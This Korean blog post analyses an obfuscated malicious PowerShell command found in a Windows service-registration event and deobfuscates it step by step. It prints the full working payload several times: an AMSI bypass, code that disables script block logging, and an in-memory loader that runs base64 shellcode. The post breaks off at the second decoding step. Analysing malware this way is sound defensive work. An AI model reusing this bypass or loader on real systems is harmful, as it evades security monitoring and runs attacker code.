본문 바로가기
IT 보안

난독화 악성 파워쉘 코드 탐지 및 분석 자료

by 떠도리c 2024. 9. 23.
반응형

악성 코드 탐지

윈도우 이벤트에서 수상한 서비스 등록을 확인 및 난독화 코드 발견

  • 윈도우 이벤트 뷰어 - 시스템 - Event ID 7045(서비스 등록)
<System>
<Provider Name="Service Control Manager" Guid="{xxxxxx-xxxx-xxxxx-xxxxx}" EventSourceName="Service Control Manager" />
<EventID Qualifiers="16384">**7045**</EventID>
<Version>0</Version>
<Level>4</Level>
<Task>0</Task>
<Opcode>0</Opcode>
<Keywords>0x8080000000000000</Keywords>
<TimeCreated SystemTime="xxxx-xx-xxx:xx:xx.xxxxx" />
<EventRecordID>xxxxxx</EventRecordID>
<Correlation />
<Execution ProcessID="xxx" ThreadID="xxxx" />
<Channel>System</Channel>
<Computer>PC123</Computer>
<Security UserID="S-1-5-xx-xxxx-xxxxx-xxxxxx-xxx" />
</System>
- <EventData>
<Data Name="ServiceName">xxrandomSevicenamexxx</Data>
<Data Name="ImagePath">%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c If($PSVersionTable.PSVersion.Major -lt 3){Exit}$zsPdu=[Collections.Generic.Dictionary[string,System.Object]]::new();$fyxYi=((''En{2}{''+''1}l{0}Scrip''+''tBlo''+''c{3}''+''L''+''ogging'')-f''e'',''b'',''a'',''k'');$ttL=[Ref].Assembly.GetType(((''{''+''1}{3}''+''st''+''em''+''.{0}ana''+''gement''+''.{4}utomation.{2}ti{5''+''}s'')-f''M'',''S'',''U'',''y'',''A'',''l''));$nsqw4=[Ref].Assembly.GetType(((''{''+''6}{4}s''+''tem''+''.{''+''1''+''}a{''+''9}a''+''{''+''5''+''}eme{9}t.{8}{2''+''}t{7}m''+''ati''+''{''+''7}''+''{9''+''}''+''.{8}ms''+''i{''+''0''+''}ti{3}s''+'''')-f''U'',''M'',''u'',''l'',''y'',''g'',''S'',''o'',''A'',''n''));$rb8=$ttL.GetField(''cachedGroupPolicySettings'',''NonPublic,Static'');If($nsqw4) { $nsqw4.GetField(((''''+''{''+''9''+''}''+''{''+''1''+''}''+''{''+''4''+''}''+''{''+''1''+''0''+''}''+''{''+''0''+''}''+''{''+''7''+''}''+''{''+''1''+''0''+''}''+''{''+''2''+''}''+''{''+''6''+''}''+''{''+''9''+''}''+''{''+''1''+''0''+''}''+''{''+''8''+''}''+''{''+''3''+''}''+''{''+''5''+''}''+'''')-f''I'',''m'',''t'',''e'',''s'',''d'',''F'',''n'',''l'',''a'',''i''),''NonPublic,Static'').SetValue($null,$true); }If($rb8) { $wNC=$rb8.GetValue($null); }$pf1Wn=((''''+''Scr''+''ipt{2}lo''+''ck{''+''1}oggi{0}g'')-f''n'',''L'',''B'');$bd=((''Ena{2}l{5}Scr''+''i{3}tBloc{4''+''}''+''In{1}oca''+''tion{0}og''+''g''+''ing''+'''')-f''L'',''v'',''b'',''p'',''k'',''e'');If($rb8 -And $wNC[$pf1Wn]) { $wNC[$pf1Wn][$fyxYi]=0; }If($rb8 -And $wNC[$pf1Wn]) { $wNC[$pf1Wn][$bd]=0; }If($rb8) { $zsPdu.Add($fyxYi,0); }If($rb8) { $zsPdu.Add($bd,0); }If($rb8) { $wNC[''HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\''+$pf1Wn]=$zsPdu; }If(!$rb8) { [Ref].Assembly.GetType(((''''+''System.Managem''+''e''+''nt.{1}{5''+''}t''+''omation.S''+''c{0}i{4''+''}tB{2''+''}oc{3}'')-f''r'',''A'',''l'',''k'',''p'',''u'')).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object Collections.Generic.HashSet[string])); };&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sIAOdCOGUCA7VWbW/aOhT+Pmn/IZqQCCqF0HbdWmnSjYGUZEBJU0KBoas0cRIXE2eJQ6G7++/{2}OCR90ejUe6VZQsT2eX{2}8HB/7WeRywiKJWNKP9++kYoycxFlJcuXOC+7XdanC1drTZuVu2s420hdJnqtx{2}GErh0SL8/N2liQ44rt54wJzNU{2}x6pYSnMo16R9pEuIEH17e{2}mGXSz+ky''+''t+NC8puHVqIbduOG2LpUI08sddnriMCa1gxJVyufvtWrc0PW4tG9{2}vm0FSuWtuU41X{1}o7Rak{2}7WhMPrbYzl6oC4CUuZzxsTEh0fNcZR6vh4CNbWeIB5yLy0Ctk85ZNgniVRkZaws5OSq/A5Spirel6C07Ral+bCw{2}yx+EueF+6vsoiTFW7oEccJiy2crImL00bPiTyKr7C/AC2LJyQKFrUaiK{2}ZEsuVKKO0Lv0XM/IQ{2}5fgvVVJ''+''fq4EUiOe1OriVPckOmBeRvFOtbon0h0VajB2dAAEfwoQ/ZJAmbGHQE8L5ZjnOxgilkcsJbnqF0mpSwNw7XCWbGFauU4yXFs84i1V7i8Vu/5Wa61SFRTT02VvBmtzmxFv8WThBQMq9zoRMq/TuYN9EuHONnJWxC0ZK+87FOxTnCPSKMWGEKFcLTaw18EUBw4XKAtu/KLWXRH+qIsyQj2cqC4cbApRwZnXXgazOzi5qkc{1}vAL4dnMga8WHOsGldFEb29K7mINQtU2dNK1LowwK1a1LFnYo9uqSGqWk2FIzzvLP6lO4g4xy4jopL80tai/RLLy2WZTyJHPhXAGBayvGLnGoAKQu9YiH0dYiQem9uheOt''+''kMpVA9YWsNxwIqAweKC''+''LQkEmjOj1rAw11cxxSuQye8NjToB{2}BJFjeT0cg''+''LsVffHWRbCjvUClxKQZ1HCYVuU8bpkk4T{1}JSQwz''+''un1v6L49f4R4bQTXByOXFbYHG25KILKtucIkhYQ5YAkHM{1}''+''QErZCTopPT''+''{2}YX''+''jfyh2SXo46jThMEeVBhd7cq0kWV1etZsTPrjFbqyl/Afhjpp6YGlHhxby{2}g4cKlOjg0T5NSkswl9VU/1bg9tzRZS{2}R75ZBu5vGlf9M27ja56aBXcBNP2vT4Kb{2}Rw1O4Heg{1}/SA9dpMyUAC''+''ldq2+2kQGyJlGC6UlrlvtpfqaIPF''+''i6pfYmwp/p9oyO''+''swE/{2}ZOT{2}s{2}mWh0O{1}{1}XULj2tdaSFXaKoS8vsmbPlRb/TzeeumJvTtEu62tS0QxEPntgxmnS1mWnHenBw{1}7H2''+''mydaiGBdJ5t+bAl''+''UWi1jHXkPA/r5YQ{1}hmvbMIHimB{2}gbqKaqWtOIipjGGjI2n822ijTXtK9A5mpAfA1ly82xEf''+''jN1nhrnK4CJHQm44vTr1OUqKOm7QTG{1}HRFnvB{1}kCvSiWugLGOj44MO6BFjc8RMiHlAMG{1}qU5Sl/dvhkbAZbJQlMQ7AHj9YnkC09vV1TxVnZ+nRR/M2Vj511mHzzBZ6YNd{1}WWRn15OesIs2fbUt8IfcTZAnoGs4wRVgsrOp8ki/AZuWPurq2qlxtoohf8pUlPNkCjpb8GWAn2msj''+''Wjuxx0a4EfkYxAfcvHiXcxBf7bVmiJmdK8E8WZJtLPoJjT9ZjS5YOrkdh{2}0LPbVnEZO82z85QNwej4mET8+WlTYpRuIq//9u4qrd54x+7W+NnCSNHQoMB76VXnxaCzRihY0YkRoy{1}K8ZZY4iTCF7g/vg7J''+''e''+''VUqZKxogtCpovbuGKPrzWM8j2vdVkx4Fa09dsVw6P59BhF{1}+UJqNPo4CHtaVzbGiQ{1}9TNspJXuZvT6''+''vN4q0sbNVFQxSoFKZpbhqsEV+S5T+NE7x5OFy+ryH1GmjgdwlXJVzdu+tLQIcYo8+B2+X0SIFnsAF''+''eLUh6Lt46OTVA/xB/h7e''+''GeAo8f1pU7tLRn2RLcQWH8Of9ni1Pa7/ZfRO{1}lHqOzC+rLxee9a4/lv{2}EIRzkLOgjFO+eNvtAKKrj2cnCqQ{1}{2}/WKIB/9lxg+H8HzM+9i/rw09omkMAAA{0}'')-f''='',''D'',''3'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"</Data>
<Data Name="ServiceType">사용자 모드 서비스</Data>
<Data Name="StartType">요청 시 시작</Data>
<Data Name="AccountName">LocalSystem</Data>
</EventData>
</Event>

 

악성 코드 분석

기본 분석 및 코드 정렬

제일 먼저 악성 코드의 작성된 형태를 파악하고 분석을 하기 쉽게 코드를 정렬합니다.

필요한 없는 부분은 제거하고 코드 부분만 남긴 후 ; 기호를 기준으로 줄바꿈을하여 정렬하였습니다.

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'}else{$b='powershell.exe'};
$s=New-Object System.Diagnostics.ProcessStartInfo;
$s.FileName=$b;
$s.Arguments='-noni -nop -w hidden -c If($PSVersionTable.PSVersion.Major -lt 3){Exit}$zsPdu=[Collections.Generic.Dictionary[string,System.Object]]::new();
$fyxYi=((''En{2}{''+''1}l{0}Scrip''+''tBlo''+''c{3}''+''L''+''ogging'')-f''e'',''b'',''a'',''k'');
$ttL=[Ref].Assembly.GetType(((''{''+''1}{3}''+''st''+''em''+''.{0}ana''+''gement''+''.{4}utomation.{2}ti{5''+''}s'')-f''M'',''S'',''U'',''y'',''A'',''l''));
$nsqw4=[Ref].Assembly.GetType(((''{''+''6}{4}s''+''tem''+''.{''+''1''+''}a{''+''9}a''+''{''+''5''+''}eme{9}t.{8}{2''+''}t{7}m''+''ati''+''{''+''7}''+''{9''+''}''+''.{8}ms''+''i{''+''0''+''}ti{3}s''+'''')-f''U'',''M'',''u'',''l'',''y'',''g'',''S'',''o'',''A'',''n''));
$rb8=$ttL.GetField(''cachedGroupPolicySettings'',''NonPublic,Static'');
If($nsqw4) { $nsqw4.GetField(((''''+''{''+''9''+''}''+''{''+''1''+''}''+''{''+''4''+''}''+''{''+''1''+''0''+''}''+''{''+''0''+''}''+''{''+''7''+''}''+''{''+''1''+''0''+''}''+''{''+''2''+''}''+''{''+''6''+''}''+''{''+''9''+''}''+''{''+''1''+''0''+''}''+''{''+''8''+''}''+''{''+''3''+''}''+''{''+''5''+''}''+'''')-f''I'',''m'',''t'',''e'',''s'',''d'',''F'',''n'',''l'',''a'',''i''),''NonPublic,Static'').SetValue($null,$true);
 }If($rb8) { $wNC=$rb8.GetValue($null);
 }$pf1Wn=((''''+''Scr''+''ipt{2}lo''+''ck{''+''1}oggi{0}g'')-f''n'',''L'',''B'');
$bd=((''Ena{2}l{5}Scr''+''i{3}tBloc{4''+''}''+''In{1}oca''+''tion{0}og''+''g''+''ing''+'''')-f''L'',''v'',''b'',''p'',''k'',''e'');
If($rb8 -And $wNC[$pf1Wn]) { $wNC[$pf1Wn][$fyxYi]=0;
 }If($rb8 -And $wNC[$pf1Wn]) { $wNC[$pf1Wn][$bd]=0;
 }If($rb8) { $zsPdu.Add($fyxYi,0);
 }If($rb8) { $zsPdu.Add($bd,0);
 }If($rb8) { $wNC[''HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\''+$pf1Wn]=$zsPdu;
 }If(!$rb8) { [Ref].Assembly.GetType(((''''+''System.Managem''+''e''+''nt.{1}{5''+''}t''+''omation.S''+''c{0}i{4''+''}tB{2''+''}oc{3}'')-f''r'',''A'',''l'',''k'',''p'',''u'')).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
 };
&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sIAOdCOGUCA7VWbW/aOhT+Pmn/IZqQCCqF0HbdWmnSjYGUZEBJU0KBoas0cRIXE2eJQ6G7++/{2}OCR90ejUe6VZQsT2eX{2}8HB/7WeRywiKJWNKP9++kYoycxFlJcuXOC+7XdanC1drTZuVu2s420hdJnqtx{2}GErh0SL8/N2liQ44rt54wJzNU{2}x6pYSnMo16R9pEuIEH17e{2}mGXSz+ky''+''t+NC8puHVqIbduOG2LpUI08sddnriMCa1gxJVyufvtWrc0PW4tG9{2}vm0FSuWtuU41X{1}o7Rak{2}7WhMPrbYzl6oC4CUuZzxsTEh0fNcZR6vh4CNbWeIB5yLy0Ctk85ZNgniVRkZaws5OSq/A5Spirel6C07Ral+bCw{2}yx+EueF+6vsoiTFW7oEccJiy2crImL00bPiTyKr7C/AC2LJyQKFrUaiK{2}ZEsuVKKO0Lv0XM/IQ{2}5fgvVVJ''+''fq4EUiOe1OriVPckOmBeRvFOtbon0h0VajB2dAAEfwoQ/ZJAmbGHQE8L5ZjnOxgilkcsJbnqF0mpSwNw7XCWbGFauU4yXFs84i1V7i8Vu/5Wa61SFRTT02VvBmtzmxFv8WThBQMq9zoRMq/TuYN9EuHONnJWxC0ZK+87FOxTnCPSKMWGEKFcLTaw18EUBw4XKAtu/KLWXRH+qIsyQj2cqC4cbApRwZnXXgazOzi5qkc{1}vAL4dnMga8WHOsGldFEb29K7mINQtU2dNK1LowwK1a1LFnYo9uqSGqWk2FIzzvLP6lO4g4xy4jopL80tai/RLLy2WZTyJHPhXAGBayvGLnGoAKQu9YiH0dYiQem9uheOt''+''kMpVA9YWsNxwIqAweKC''+''LQkEmjOj1rAw11cxxSuQye8NjToB{2}BJFjeT0cg''+''LsVffHWRbCjvUClxKQZ1HCYVuU8bpkk4T{1}JSQwz''+''un1v6L49f4R4bQTXByOXFbYHG25KILKtucIkhYQ5YAkHM{1}''+''QErZCTopPT''+''{2}YX''+''jfyh2SXo46jThMEeVBhd7cq0kWV1etZsTPrjFbqyl/Afhjpp6YGlHhxby{2}g4cKlOjg0T5NSkswl9VU/1bg9tzRZS{2}R75ZBu5vGlf9M27ja56aBXcBNP2vT4Kb{2}Rw1O4Heg{1}/SA9dpMyUAC''+''ldq2+2kQGyJlGC6UlrlvtpfqaIPF''+''i6pfYmwp/p9oyO''+''swE/{2}ZOT{2}s{2}mWh0O{1}{1}XULj2tdaSFXaKoS8vsmbPlRb/TzeeumJvTtEu62tS0QxEPntgxmnS1mWnHenBw{1}7H2''+''mydaiGBdJ5t+bAl''+''UWi1jHXkPA/r5YQ{1}hmvbMIHimB{2}gbqKaqWtOIipjGGjI2n822ijTXtK9A5mpAfA1ly82xEf''+''jN1nhrnK4CJHQm44vTr1OUqKOm7QTG{1}HRFnvB{1}kCvSiWugLGOj44MO6BFjc8RMiHlAMG{1}qU5Sl/dvhkbAZbJQlMQ7AHj9YnkC09vV1TxVnZ+nRR/M2Vj511mHzzBZ6YNd{1}WWRn15OesIs2fbUt8IfcTZAnoGs4wRVgsrOp8ki/AZuWPurq2qlxtoohf8pUlPNkCjpb8GWAn2msj''+''Wjuxx0a4EfkYxAfcvHiXcxBf7bVmiJmdK8E8WZJtLPoJjT9ZjS5YOrkdh{2}0LPbVnEZO82z85QNwej4mET8+WlTYpRuIq//9u4qrd54x+7W+NnCSNHQoMB76VXnxaCzRihY0YkRoy{1}K8ZZY4iTCF7g/vg7J''+''e''+''VUqZKxogtCpovbuGKPrzWM8j2vdVkx4Fa09dsVw6P59BhF{1}+UJqNPo4CHtaVzbGiQ{1}9TNspJXuZvT6''+''vN4q0sbNVFQxSoFKZpbhqsEV+S5T+NE7x5OFy+ryH1GmjgdwlXJVzdu+tLQIcYo8+B2+X0SIFnsAF''+''eLUh6Lt46OTVA/xB/h7e''+''GeAo8f1pU7tLRn2RLcQWH8Of9ni1Pa7/ZfRO{1}lHqOzC+rLxee9a4/lv{2}EIRzkLOgjFO+eNvtAKKrj2cnCqQ{1}{2}/WKIB/9lxg+H8HzM+9i/rw09omkMAAA{0}'')-f''='',''D'',''3'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';
$s.UseShellExecute=$false;
$s.RedirectStandardOutput=$true;
$s.WindowStyle='Hidden';
$s.CreateNoWindow=$true;
$p=[System.Diagnostics.Process]::Start($s);
"

문자열 치환(Replace)

악성 코드는 분석가나 일반인이 쉽게 읽거나 해독하지 못하도록 난독화를 하여 공격을 합니다.

이번 예제에서 눈에 띄는 부분은 {1}, {2}와 같이 해당 위치에 문자열이 치환되는 포매팅 형식과 문자열을 이어주는 ‘+’ , Compression.GzipStream, FromBase64String을 볼 수 있습니다.

분석을 위해 위에 언급한 부분에 대해 난독화된 코드를 최대한 해제하여 가독성을 확보해야 합니다.

[문자열 치환(replace)]

예) $fyxYi=((''En{2}{''+''1}l{0}Scrip''+''tBlo''+''c{3}''+''L''+''ogging'')-f''e'',''b'',''a'',''k'');

  1. 문자열을 이어주는 ‘’+’’ 부분을 제거
  1. 문자열 포맷 치환
    치환 문자열 자리는 -f 옵션 뒤에 문자열을 활용{0} = e, {1}=b, {2}=a, {3}=k

이런식으로 모든 코드를 치환하면 아래와 같은 형태로 볼 수 있습니다.

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'}else{$b='powershell.exe'};
$s=New-Object System.Diagnostics.ProcessStartInfo;
$s.FileName=$b;
$s.Arguments='-noni -nop -w hidden -c If($PSVersionTable.PSVersion.Major -lt 3){Exit}$zsPdu=[Collections.Generic.Dictionary[string,System.Object]]::new();
$fyxYi=((''EnableScriptBlockLogging'');
$ttL=[Ref].Assembly.GetType(((''System.Management.Automation.Utils'');
$nsqw4=[Ref].Assembly.GetType(((''System.Managemeet.Automation.AmsiUtils'');
$rb8=$ttL.GetField(''cachedGroupPolicySettings'',''NonPublic,Static'');
If($nsqw4) { $nsqw4.GetField(((''amsiInitFailed'')),''NonPublic,Static'').SetValue($null,$true);
 }If($rb8) { $wNC=$rb8.GetValue($null);
 }$pf1Wn=((''ScriptBlockLogging''));
$bd=((''EnableScriptBlockInvocationLogging''));
If($rb8 -And $wNC[$pf1Wn]) { $wNC[$pf1Wn][$fyxYi]=0;
 }If($rb8 -And $wNC[$pf1Wn]) { $wNC[$pf1Wn][$bd]=0;
 }If($rb8) { $zsPdu.Add($fyxYi,0);
 }If($rb8) { $zsPdu.Add($bd,0);
 }If($rb8) { $wNC[''HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\''+$pf1Wn]=$zsPdu;
 }If(!$rb8) { [Ref].Assembly.GetType(((''System.Management.Automation.ScrittBlock''))).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
 };
&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sIAOdCOGUCA7VWbW/aOhT+Pmn/IZqQCCqF0HbdWmnSjYGUZEBJU0KBoas0cRIXE2eJQ6G7++/3OCR90ejUe6VZQsT2eX38HB/7WeRywiKJWNKP9++kYoycxFlJcuXOC+7XdanC1drTZuVu2s420hdJnqtx3GErh0SL8/N2liQ44rt54wJzNU3x6pYSnMo16R9pEuIEH17e3mGXSz+kyt+NC8puHVqIbduOG2LpUI08sddnriMCa1gxJVyufvtWrc0PW4tG93vm0FSuWtuU41XDo7Rak37WhMPrbYzl6oC4CUuZzxsTEh0fNcZR6vh4CNbWeIB5yLy0Ctk85ZNgniVRkZaws5OSq/A5Spirel6C07Ral+bCw3yx+EueF+6vsoiTFW7oEccJiy2crImL00bPiTyKr7C/AC2LJyQKFrUaiK3ZEsuVKKO0Lv0XM/IQ35fgvVVJfq4EUiOe1OriVPckOmBeRvFOtbon0h0VajB2dAAEfwoQ/ZJAmbGHQE8L5ZjnOxgilkcsJbnqF0mpSwNw7XCWbGFauU4yXFs84i1V7i8Vu/5Wa61SFRTT02VvBmtzmxFv8WThBQMq9zoRMq/TuYN9EuHONnJWxC0ZK+87FOxTnCPSKMWGEKFcLTaw18EUBw4XKAtu/KLWXRH+qIsyQj2cqC4cbApRwZnXXgazOzi5qkcDvAL4dnMga8WHOsGldFEb29K7mINQtU2dNK1LowwK1a1LFnYo9uqSGqWk2FIzzvLP6lO4g4xy4jopL80tai/RLLy2WZTyJHPhXAGBayvGLnGoAKQu9YiH0dYiQem9uheOtkMpVA9YWsNxwIqAweKCLQkEmjOj1rAw11cxxSuQye8NjToB3BJFjeT0cgLsVffHWRbCjvUClxKQZ1HCYVuU8bpkk4TDJSQwzun1v6L49f4R4bQTXByOXFbYHG25KILKtucIkhYQ5YAkHMDQErZCTopPT3YXjfyh2SXo46jThMEeVBhd7cq0kWV1etZsTPrjFbqyl/Afhjpp6YGlHhxby3g4cKlOjg0T5NSkswl9VU/1bg9tzRZS3R75ZBu5vGlf9M27ja56aBXcBNP2vT4Kb3Rw1O4HegD/SA9dpMyUACldq2+2kQGyJlGC6UlrlvtpfqaIPFi6pfYmwp/p9oyOswE/3ZOT3s3mWh0ODDXULj2tdaSFXaKoS8vsmbPlRb/TzeeumJvTtEu62tS0QxEPntgxmnS1mWnHenBwD7H2mydaiGBdJ5t+bAlUWi1jHXkPA/r5YQDhmvbMIHimB3gbqKaqWtOIipjGGjI2n822ijTXtK9A5mpAfA1ly82xEfjN1nhrnK4CJHQm44vTr1OUqKOm7QTGDHRFnvBDkCvSiWugLGOj44MO6BFjc8RMiHlAMGDqU5Sl/dvhkbAZbJQlMQ7AHj9YnkC09vV1TxVnZ+nRR/M2Vj511mHzzBZ6YNdDWWRn15OesIs2fbUt8IfcTZAnoGs4wRVgsrOp8ki/AZuWPurq2qlxtoohf8pUlPNkCjpb8GWAn2msjWjuxx0a4EfkYxAfcvHiXcxBf7bVmiJmdK8E8WZJtLPoJjT9ZjS5YOrkdh30LPbVnEZO82z85QNwej4mET8+WlTYpRuIq//9u4qrd54x+7W+NnCSNHQoMB76VXnxaCzRihY0YkRoyDK8ZZY4iTCF7g/vg7JeVUqZKxogtCpovbuGKPrzWM8j2vdVkx4Fa09dsVw6P59BhFD+UJqNPo4CHtaVzbGiQD9TNspJXuZvT6vN4q0sbNVFQxSoFKZpbhqsEV+S5T+NE7x5OFy+ryH1GmjgdwlXJVzdu+tLQIcYo8+B2+X0SIFnsAFeLUh6Lt46OTVA/xB/h7eGeAo8f1pU7tLRn2RLcQWH8Of9ni1Pa7/ZfRODlHqOzC+rLxee9a4/lv3EIRzkLOgjFO+eNvtAKKrj2cnCqQD3/WKIB/9lxg+H8HzM+9i/rw09omkMAAA='')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';
$s.UseShellExecute=$false;
$s.RedirectStandardOutput=$true;
$s.WindowStyle='Hidden';
$s.CreateNoWindow=$true;
$p=[System.Diagnostics.Process]::Start($s);
"

코드 난독화 해제

[GzipStream.Base64 해제]

일반적으로 Base64로만 인코딩 되어 있다면 쉽게 분석 가능하겠지만

이번 코드는 GzipStream Compression 되어 있어 Base64 디코딩 시 이상한 문자열이 나오게 됩니다.

 

그래서 Gzip Decompress 으로 진행해야합니다.

 

[결과]

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'}else{$b='powershell.exe'};
$s=New-Object System.Diagnostics.ProcessStartInfo;
$s.FileName=$b;
$s.Arguments='-noni -nop -w hidden -c If($PSVersionTable.PSVersion.Major -lt 3){Exit}$zsPdu=[Collections.Generic.Dictionary[string,System.Object]]::new();
$fyxYi=((''EnableScriptBlockLogging'');
$ttL=[Ref].Assembly.GetType(((''System.Management.Automation.Utils'');
$nsqw4=[Ref].Assembly.GetType(((''System.Managemeet.Automation.AmsiUtils'');
$rb8=$ttL.GetField(''cachedGroupPolicySettings'',''NonPublic,Static'');
If($nsqw4) { $nsqw4.GetField(((''amsiInitFailed'')),''NonPublic,Static'').SetValue($null,$true);
 }If($rb8) { $wNC=$rb8.GetValue($null);
 }$pf1Wn=((''ScriptBlockLogging''));
$bd=((''EnableScriptBlockInvocationLogging''));
If($rb8 -And $wNC[$pf1Wn]) { $wNC[$pf1Wn][$fyxYi]=0;
 }If($rb8 -And $wNC[$pf1Wn]) { $wNC[$pf1Wn][$bd]=0;
 }If($rb8) { $zsPdu.Add($fyxYi,0);
 }If($rb8) { $zsPdu.Add($bd,0);
 }If($rb8) { $wNC[''HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\''+$pf1Wn]=$zsPdu;
 }If(!$rb8) { [Ref].Assembly.GetType(((''System.Management.Automation.ScrittBlock''))).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
 };
&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]
::FromBase64String(((
    function iS {
        Param ($jdgwv, $tA)
        $jYCux = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $jYCux.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($jYCux.GetMethod('GetModuleHandle')).Invoke($null, @($jdgwv)))), $tA))
}

function uJ {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $wO0V,
                [Parameter(Position = 1)] [Type] $s6kHZ = [Void]
        )

        $wIi = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $wIi.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $wO0V).SetImplementationFlags('Runtime, Managed')
        $wIi.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $s6kHZ, $wO0V).SetImplementationFlags('Runtime, Managed')

        return $wIi.CreateType()
}

[Byte[]]$yHa = [System.Convert]::FromBase64String("/EiB5PD////ozAAAAEFRQVBSSDHSZUiLUmBRVkiLUhhIi1IgSA+3SkpNMclIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1IgQVGLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ESLQCBJAdBQi0gY41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVhIAdBeWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSDHAUFBJx8QCABFcQVRJieRMifFBukx3Jgf/1UyJ6mgBAQAAWUG6KYBrAP/VagJZUFBNMclNMcBI/8BIicJBuuoP3+D/1UiJx2oQQVhMieJIiflBusLbN2f/1Ugx0kiJ+UG6t+k4///VTTHASDHSSIn5Qbp07Dvh/9VIiflIicdBunVuTWH/1UiBxLACAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//VSIPEIF6J9mpAQVloABAAAEFYSInySDHJQbpYpFPl/9VIicNJicdNMclJifBIidpIiflBugLZyF//1UgBw0gpxkiF9nXhQf/nWGoAWbvgHSoKQYna/9U=")
[Uint32]$oOcg = 0
$cID = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iS kernel32.dll VirtualAlloc), (uJ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $yHa.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($yHa, 0, $cID, $yHa.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iS kernel32.dll VirtualProtect), (uJ @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($cID, [Uint32]$yHa.Length, 0x10, [Ref]$oOcg)) -eq $true) {
        $jsP = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iS kernel32.dll CreateThread), (uJ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cID,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iS kernel32.dll WaitForSingleObject), (uJ @([IntPtr], [Int32]))).Invoke($jsP,0xffffffff) | Out-Null
}
.ReadToEnd()))';
$s.UseShellExecute=$false;
$s.RedirectStandardOutput=$true;
$s.WindowStyle='Hidden';
$s.CreateNoWindow=$true;
$p=[System.Diagnostics.Process]::Start($s);
"

Gzip 압축해제 후 정상적인 코드들이 보이나 싶지만 해제된 코드 중간에 FromBase64String("/EiB5PD////ozAAAAEFRQ… 부분을 보면 또 인코딩 형태가 보입니다.

이 부분도 해제가 필요하나 base64 디코딩을하면 또 이상한 문자열이 나옵니다.

 

이 코드는 바이너리 형태의 쉘코드로 텍스트 변환이 되지 않습니다..

그래서 다른 변환 과정을 거쳐야합니다.

[두번째 Base64 해제]

